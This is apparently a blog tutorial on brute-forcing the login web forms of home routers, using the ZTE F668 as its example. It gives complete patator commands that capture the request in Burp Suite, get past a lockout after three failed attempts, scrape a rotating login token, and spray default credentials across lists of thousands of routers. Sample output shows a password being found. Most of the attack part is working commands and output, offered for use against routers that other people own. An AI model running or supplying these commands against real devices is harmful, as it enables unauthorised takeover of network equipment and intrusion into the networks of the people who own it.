Brute-Force Router Web Forms

Table of contents

1. Hacking the router login page

2. Brute Force Router Web Form

3. Brute-Force Routers

4. Random values in web forms

5. Optimizing brute force by attacking multiple targets at once


Hacking the router login page

To have an idea of HTTP authentication, start with the excerpt from the Router Scan manual:

Formally, you can separate devices into two types-those that use HTTP-level authentication, and others that do not use it; these include devices that use HTTP forms for authorization.

The first type of devices is quite easy to distinguish from the second one by opening the device’s IP address in an Internet browser: they always have a pop-up window with the device name and a suggestion to enter a login and password at the very beginning. Devices of the second type do not issue such an invitation, but immediately open a web page, on which one can also be authorized.

But, if you are at a loss to visually determine the type of authentication, you can examine the HTTP response headers of the device, specifically the WWW-Authenticate head - it indicates the use of authentication at the protocol level.

To find a password for such devices, Router Scan uses the login/password pairs. The program supports two methods of authentication at the protocol level:

  • Basic - basic authentication, username and password are handled by a reversible cipher and sent in headers.
  • Digest - digest authentication, the data for the input is irreversibly hashed by the MD5 algorithm and sent in the headers.

For other devices that do not use these methods, dictionary attacks are not supported (except for some models for which the Form authentication dictionary has been added).

So, Router Scan can brute-force authorization forms of not all router models, as a result you can get the following picture:

This is a few subnetworks in which the ZTE F668 router is abundantly used. I will say more – almost all of them have default logins and passwords, but neither Router Scan nor RouterSploit extracts information from them, because the router uses web form to authenticate, and brute force is not supported for this model.

Brute Force Router Web Form

We need a few tools. The first one is Burp Suite. According to the link, there are instructions, including for configuring the work of Burp Suite with web browsers - we will not dwell on this, do the preparatory steps by yourself.

So, open in the web browser the IP address of a router we are interested in:

and make sure that Burp Suite does see the data being transmitted:

Now we send knowingly incorrect data, for example, username 11111111 and password 22222222:

Let's move on to the analysis in Burp Suite:

The data is sent by the POST method, the HTTP header with the cookie Cookie: _TESTCOOKIESUPPORT=1 is sent to the / (root folder) page, a string from the form is passed:


We look at the answer, first we switch to the Render:

Excellent, the answer contains the Error word, look for it in the raw transmitted data:

We analyze the usual answer, without entering a password:

There is also the word Error, that is, its presence does not say anything - such a marker is not suitable for brute-force. I hope the most attentive readers noticed that in the response that came to the authentication, two matches with Error were found, and in the usual answer, only one. We look again at the response after an authentication attempt:

This answer contains a very characteristic line:

User information is error, please input again.

Brute-Force Routers

For bruteforce I will use the patator program. In the article, you will learn how to use the patator for brute-force web form of web sites.

In general, in the simplest case, our command will look like this:

patator http_fuzz url="..." method=POST body='...' 0=... 1=... accept_cookie=1 header='Cookie: ...' -x ignore:fgrep='...' -t 1

Now let's fill in the blanks.

The URL will be the IP address of the router, for example,, as the body we need to take the transmitted string, in our case this is frashnum=&action=login&Frm_Logintoken=0&Username=11111111&Password=22222222

And in it in the place where the user name, insert FILE0, and instead of the password, insert FILE1. In my case, it turned out: body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1'

Now we need to specify the path to the dictionaries. The dictionary with user names is called users.txt and is located in the same folder where I run the patator. The contents of my small dictionary:


Thus, I specify the name of the dictionary with the string 0=users.txt.

The password file is called passwords.txt, I specify the path to it by the string 1=passwords.txt.

The contents of my passwords.txt file:


Recall that when sending a request, the header is also sent with the cookie _TESTCOOKIESUPPORT=1, so we add header='Cookie: _TESTCOOKIESUPPORT=1' to our command.

Now we need to set a condition by which to determine whether the login suceeds or not. This line is "User information is error, please input again", so to ignore the answers containing the specified string, we will write the following option: -x ignore:fgrep='User information is error'. I slightly shortened the line, because the points and commas cause errors in patator. The ignore command says not to report the results that match the colon following the condition. The command fgrep means to search for a string in the received data. For an exact message, the mesg command is used, and for the regular expression search, there is the egrep command.

We collect all together:

patator http_fuzz url="" method=POST body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -x ignore:fgrep='User information is error' -t 1

We get the following result:

16:11:25 patator    INFO - Starting Patator v0.7 ( at 2018-08-15 16:11 MSK
16:11:25 patator    INFO -                                                                              
16:11:25 patator    INFO - code size:clen       time | candidate                          |   num | mesg
16:11:25 patator    INFO - -----------------------------------------------------------------------------
16:11:26 patator    INFO - 302  304:0          0.666 | admin:password                     |     2 | HTTP/1.1 302 Moved Temporarily
16:11:27 patator    INFO - 200  6882:6608      2.002 | admin:root                         |     4 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.002 | root:1234                          |     9 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.002 | root:12345                         |    12 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.001 | Admin:admin                        |    13 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.002 | Admin:Admin                        |    17 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.002 | Admin:12345                        |    18 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.145 | admin:admin                        |     1 | HTTP/1.1 200 OK
16:11:28 patator    INFO - 200  6882:6608      2.352 | root:root                          |    10 | HTTP/1.1 200 OK
16:11:28 patator    INFO - 200  6882:6608      2.555 | admin:Admin                        |     5 | HTTP/1.1 200 OK
16:11:28 patator    INFO - 200  6882:6608      2.760 | root:password                      |     8 | HTTP/1.1 200 OK
16:11:28 patator    INFO - 200  6882:6608      2.964 | Admin:1234                         |    15 | HTTP/1.1 200 OK
16:11:29 patator    INFO - 200  6882:6608      2.002 | admin:1234                         |     3 | HTTP/1.1 200 OK
16:11:29 patator    INFO - 200  6882:6608      4.004 | root:Admin                         |    11 | HTTP/1.1 200 OK
16:11:29 patator    INFO - 200  6882:6608      4.003 | Admin:root                         |    16 | HTTP/1.1 200 OK
16:11:29 patator    INFO - Hits/Done/Skip/Fail/Size: 15/18/0/0/18, Avg: 3 r/s, Time: 0h 0m 4s

This is a strange result, as if almost all the logins and passwords were correct.

Let's pay attention to the line with 302 Moved Temporarily. It says that when entering credentials admin:password the router wanted to redirect us somewhere. Apparently, this is the correct credentials (log on to the router for verification), and everything else is a false alarm. We will think, how it could turn out?

It turns out that for some reason the router stops sending the line "User information is error". We can assume that after authentication, the router remembers our IP and now all the inputs from this address are allowed. You can check this by opening a router page in the browser. In my case, this assumption was not confirmed.

The most likely cause may be protection from bruteforce. Let's try to enter incorrect credentials several times. Exactly:

The reason is found, instead of the line "user information is an error", we are shown "You have input the wrong username or password for three times. Please try again a minute later".

The patator program supports the simultaneous use of several -x options and you could add -x ignore:fgrep='You have input the wrong username or password for three times', but this does not solve the main problem: after three incorrect attempts, you need to wait 1 minute. To fix it, you can set the time interval between attempts of 1 minute: --rate-limit=60

But remember that when you enter the correct credentials, redirection occurs - the server returns code 302:

Therefore, you can use a construct of two options: -x quit:code=302 and -x ignore:code=200. A command precedes the colon, and then the condition under which this command is executed. In the first line, quit means to exit, as soon as code 302 is received, that is, the password is found and you do not need to continue. The second ignore command means to not show the received data when the code 200 is received.

The result is the command:

patator http_fuzz url="" method=POST body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -t 1 -x quit:code=302 -x ignore:code=200 --rate-limit=61

Random values in web forms

If you make several login attempts and examine the data being transmitted, you can see that the value of the variable Frm_Logintoken is changing.

The specific value is written in JavaScript code:

getObj("Frm_Logintoken").value = "2";

And it changes from time to time. If you pass a line with an incorrectly set Frm_Logintoken token, the router will not even accept the correct password. This is another protection against brute force. Fortunately, the patator has a built-in mechanism to bypass this protection.

To do this, use the options before_urls and before_egrep. The before_urls option specifies which page to load before an authentication attempt is made. And the before_egrep option searches for the given regular expression in the source code of the page received with before_urls.

For brute force of the tested router, you must first obtain the same address on which the data is entered, that is before_urls=

Example of a regular expression to search: before_egrep='_N1_:getObj\("Frm_Logintoken"\).value = "(\w+)"'

Here, _N1_ is assigned the value of the back reference - the expression in parentheses. \w + denotes the main compound characters, this is a synonym for "[_[:alnum:]]". Once again - pay attention to the brackets - this is the back link. At the same time, there are also parentheses in the source code fragment - they need to be escaped.

The transmitted string also changes:


Now it uses _N1_ to assign a value to the Logintoken parameter.

For more examples, including two values at once, see

If the router (or web application) sets the cookie with a random value, it is sufficient to use before_urls together with accept_cookie=1 (accept cookies for later transfer).

The complete command for the brute-force web forms, taking into account all the nuances of the router model under testing, looks like this:

patator http_fuzz url="" method=POST body='frashnum=&action=login&Frm_Logintoken=_N1_&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -t 1 -x quit:code=302 -x ignore:code=200 --rate-limit=61 before_urls= before_egrep='_N1_:getObj\("Frm_Logintoken"\).value = "(\w+)"'

Optimizing brute force by attacking multiple targets at once

One try per minute is rather slow. By the way, in this case we can do three attempts per minute, then pause. I'm not sure if this can be done with patator.

But the patator has a very useful algorithm, which is used by default for a brute-force of many objects. You can run the enumeration of credentials on multiple routers at once. To do this, use the url option to specify a file, for example, url=FILE2, also specify the path to the file: 2=routers_IP.txt. patator will work as follows: try one login:password pair on the first router, then go to the second router and try the same login:password pair, then to the next one until the list ends. When the list is complete, the patator will go to the second round and for the first router try the second pair of login:password, then go to the next router and so on. As a result, there is a natural delay between attempts to enter on one router - while attempts are made to login the next in the list, each router is given a "respite" time. This allows you to significantly reduce the --rate-limit value or do not use it at all, because if tens of thousands of routers are simultaneously brute-forced, then the queue to each router can reach more than a minute. The file number matters! That is, in the beginning, a full circle is passed for a file with the number 0. These can be, for example, user names. If you take router addresses for brute-force from file number 0, then patator will attack only the first router in the list and will go to the next one only when the logins and passwords for verification are over.

In case the correct login:password is found, then instead of the quit command (exit from the program), you should use the free command (stop testing the host after finding the valid password) approximately as follows: -x free=url:code=302


So, we looked at the router web form brute-force on the example of a particular model. We encountered almost all the possible problems that can arise with brute-force both routers and other web applications that also use web forms for authentication. Unless, the situation with CAPTCHA and use of proxy for acceleration of process has not been considered.

In general, the algorithm is always approximately the same:

  • Analysis of transmitted data. This is convenient to do with Burp Suite. Special attention should be paid to randomly changing fields, cookies, referrer value and the value of user-agent (this is all passed in HTTP headers)
  • Analysis of the returned data and search for the most characteristic markers and events, indicating the correctness or incorrectness of the login and password
  • Before launching Brute Force, you should check for brute force countermeasures
  • As a marker, which tells the patator about the success of the entry, it is necessary to choose a string or event that has the least chance of triggering false positives
  • Some types of protection (for example, blocking after several incorrect attempts) can not be bypassed, but it is possible to optimize the attack process in various ways

Last Updated on

Recommended for you:

One Comment to Brute-Force Router Web Forms

  1. mooooooon says:

    can we have a video of this cause i am kinda lost and stuck on logintoken part !

    whatever i do it's the same response from curl ..

    curl "" --data "frashnum=^&action=login^&Frm_Logintoken=15^&Username=admin^&Password=admin"

Leave a Reply

Your email address will not be published.